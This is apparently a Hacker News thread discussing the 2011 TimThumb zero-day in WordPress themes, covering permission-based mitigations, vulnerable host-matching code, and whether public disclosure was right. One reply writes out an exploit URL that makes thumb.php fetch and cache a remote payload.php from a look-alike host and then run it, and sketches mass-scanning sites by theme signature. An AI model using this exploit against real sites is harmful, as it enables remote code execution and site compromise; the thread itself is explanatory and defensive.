
Zero Day Vulnerability in many Wordpress Themes - d2
http://markmaunder.com/2011/zero-day-vulnerability-in-many-wordpress-themes/
======
patio11
A mitigation for this sort of thing: your Wordpress installations can be owned
by someone other than the webserver, with 644/655 permissions. This will
prevent folks from uploading arbitrary code (through any of the NUMEROUS
plugins/themes with a vulnerability that allows them to do that), and also
prevents folks from appending malicious code to known files.

~~~
d2
Problem is that then you can't auto install themes, auto update wordpress -
and the script causing this vulnerability requires a writable cache directory
under the wordpress root.

~~~
patio11
Yes, turning off the ability to execute arbitrary code on your server through
your web browser will, indeed, turn off the ability to execute arbitrary code
on your server through your web browser. I think that is a misfeature: if
executing arbitrary code on your server could potentially do damage to your
business (hint: yes), you should be SSHing into a terminal to do it. That
combo will be 500,000x more effective at securing your box than the best
efforts of Wordpress, PHP, and the fifteen year-old designer who coded your
lightbox plugin after Googling "How to find file name in PHP".

See also my comments last week about the (lack of) wisdom in embedding a ruby
shell in a web application.

~~~
dave1010uk
Turning off the ability to execute arbirary code on your server through your
webserver will also stop WordPress from being able to get security updates out
to the millions of sites using it.

While I much prefer going through SHH to manage my sites, there are likely 10x
as many WP sites run by people who can only FTP. There isn't really an ideal
solution in this situation (apart from education) so I think allowing easy
updates by having weaker security may be best. Maybe there is a better
solution that still works for FTP. If so, file a ticket.

The WordPress Codex is a wiki and it looks like the docs on security could do
with some improvements - sign up and help out.

~~~
nbpoole
You're confusing the issue. This isn't about SSH versus FTP: it's about
whether or not the Apache user running your website can also write to the
filesystem inside of your document root. The Wordpress update feature is
actually able to use FTP as the means of updating the site.

~~~
dave1010uk
That's true; I was oversimplifying the issue. Most shared hosting web hosts
run PHP files with the same user that you FTP with. If WP can't update itself
in these cases then the user cannot write files via FTP. If a user connects
via SSH then chances are they are comfortable changing directory permissions
to do an update.

------
cosgroveb
My WP theme is from WooThemes and it includes "thumb.php" which upon
inspection is timthumb.php. The blog post says to patch this you should remove
the list from the allowedSites variable which I have done... I'll look at this
more tomorrow but just FYI!

~~~
mrspeaker
Errm, you should probably do that today - and check for the presence of base64
encoded images - now that you told the world about it ;)

~~~
cosgroveb
Did that too.

------
muppetman
Great writeup. It's clear, it's concise and it's not overly dramatic. Thanks
for taking the time to write this up and share it.

I have invested a bit of time installing and tuning mod_security. I'd love to
know how it'd have faired against this attack, probably it wouldn't have
stopped the upload, but it might have stopped a lot of payload/control
commands from working.

~~~
joelhaasnoot
While it's concise and not overly dramatic, lots of people run Wordpress on
shared hosting. That generally means they don't have SSH access and the
instructions are harder to follow... It needs a "for beginners" section on how
to check and accomplish the steps.

~~~
muppetman
Valid point.

------
iuguy
I did a series on talks on Wordpress security earlier this year at OWASP
London and AppSec EU. Sadly the AppSec slides were lost but the OWASP slides
are still there for anyone interested:

<https://www.owasp.org/images/d/db/Wordpress-security-ext.pdf>

~~~
gbrindisi
Thanks really interesting read!

------
ecaron
The worst part of reading this post is encountering this search result -
<http://www.google.com/search?q=Alucar+shell>

------
davidw
As someone relatively new to Wordpress, I use a hosted instance from
Wordpress.com. How do they handle things like this, and security in general?

~~~
code_duck
This is a vulnerability in a third party script often used in Wordpress
themes. It's not related to Wordpress.com.

~~~
davidw
Ok, but I am able to select themes in my site on wordpress.com. Maybe it's a
stupid question, but I'd rather ask it than wonder.

~~~
code_duck
This concerns user/third party authored WordPress themes for the WordPress.org
software. WordPress.com is hosted and administrated by Automattic, and they
handle security like any other application provider. It's not likely that
Wordpress.com is using this resizing script and if they were, you as a user
would not have to take any action to fix it (and couldn't do so, anyway)

------
billpg
> 1\. SSH into your web server.

That's not an option on a surprising number of web hosts offering PHP hosting.
You'd have to find the file using FTP instead.

------
ck2
Also note that it doesn't even have to be an active theme - since timthumb.php
executes directly and not through wordpress.

------
rozim
I used to see so many security problems with xmlrpc.php, and never used the
functionality, so I put in a cron job entry that did this for all blogs I had
hosted:

    
    
        mv PATH/xmlrpc.php PATH/xmlrpc.php.nope
        chmod 000 PATH/xmlrpc.php.nope
    

something like once an hour in case I upgraded and forgot to secure the site.

------
qeorge
FWIW: We had an older version of timthumb which uses preg_match instead of
strpos, but suffers from the same flaw. The relevant line looks like this:

    
    
        if (preg_match($site, $url_info['host']) == true) {
    

Good catch, Mark.

~~~
teyc
I have a version that does this:

    
    
       function clean_source ( $src ) {
    
        // remove http/ https/ ftp
        $src = preg_replace("/^((ht|f)tp(s|):\/\/)/i", "", $src);
        // remove domain name from the source url
        $host = $_SERVER["HTTP_HOST"];
        $src = str_replace($host, "", $src);
        $host = str_replace("www.", "", $host);
        $src = str_replace($host, "", $src);
    

This version doesn't allow external sources at all by the look of it.

------
tansey
Very good find! Thank you for sharing.

I bought my theme from Theme Forest and it has this vulnerability. If you have
a theme that you've purchased and contains this file, it would be helpful to
post this on the theme's support forum.

------
mildweed
This affects not just themes, but plugins too. Its in the vslider plugin I've
used in multiple installs.

------
teyc
I wonder if it would be better if he disclosed this to the theme vendors.

~~~
code_duck
Exactly what I thought upon reading "The current version of timthumb has this
issue. Since it’s already in the wild and I just got hacked by it, I figure
it’s ok to release the vulnerability to the general public."

~~~
dangrossman
There's no other way to inform most people about the problem. There's several
thousand free WordPress themes in the wild, and obtaining them does not
involve getting on the developers' mailing lists or otherwise being contact-
able. Even if it was possible to notify every theme developer that may be
including timthumb in their theme, those developers would have no way to
notify the end users.

------
hluska
Thanks for posting this!

------
headShrinker
Shameless self promotion of image resizer code...
<http://www.nkdv.co/code/do/resize>

php resize crop and cache source.

------
lfx
But to use this vulnerability at first cracker have to have registered user?
Or there are other way to upload images?

~~~
patio11
No, you can execute the script directly if you know or can guess the location
of it, straight through your web browser.

Accessing

    
    
      http://www.example.com/wordpress/wp-content/ themes/vulnerable-theme/thumb.php?src=flickr.com.example.org/payload.php 
    

is sufficient to cause it to download payload.php and cache it. Afterwards,
you can access the PHP file in the same manner to execute it.

One could trivially make a list of signatures for vulnerable themes (for
example, all the ones I paid for from a certain prominent Wordpress themes
company), and then exploit any website whose main page matched a signature.
Alternatively, you could just speculatively hit a few hundred URLs on every
domain you found.

~~~
teyc
Is there any reason why a check on the extension wouldn't solve the problem?

    
    
       $fileDetails = pathinfo($src);
       $ext = strtolower($fileDetails['extension']);

~~~
kaerast
On some badly configured Nginx servers the filename extension isn't parsed
correctly. A php.jpg file will be executed as php because a badly written
regex will match the .php.

Even if you don't have such vulnerabilities you probably don't want people to
be able to upload images to your server. They could easily send you over quota
on shared hosting and use your bandwidth for serving their own images
(including child porn).

~~~
teyc
Yup. That would be my worst fears.

------
sogrady
FWIW, I had two separate running instances of timthumb.php, but neither
contained the $allowedSites array.

~~~
dangrossman
I had a few copies from old WooThemes themes as well, and the copy of
thumb.php included didn't have such an external sites list/feature either.

~~~
ScottWhigham
Same here

------
adamzap
v1.34 fixes this, right? The author committed it this morning.

<http://code.google.com/p/timthumb/source/list>

------
quizbiz
Could Wordpress issue an update to patch this?

~~~
patio11
Wordpress gets no opportunity to execute a single line of code at any point in
this process. TimThumb can be executed without needing to go through Wordpress
at any point. The only relevance of Wordpress to this is that many Wordpress
themes happen to ship with TimThumb. If you have a Wordpress theme installed
on your server (note: activation not required!) which ships with it, you are
vulnerable.

Wordpress could theoretically intercept calls to PHP files below its own root,
but that would be a breaking change for a LOT of code and sites.

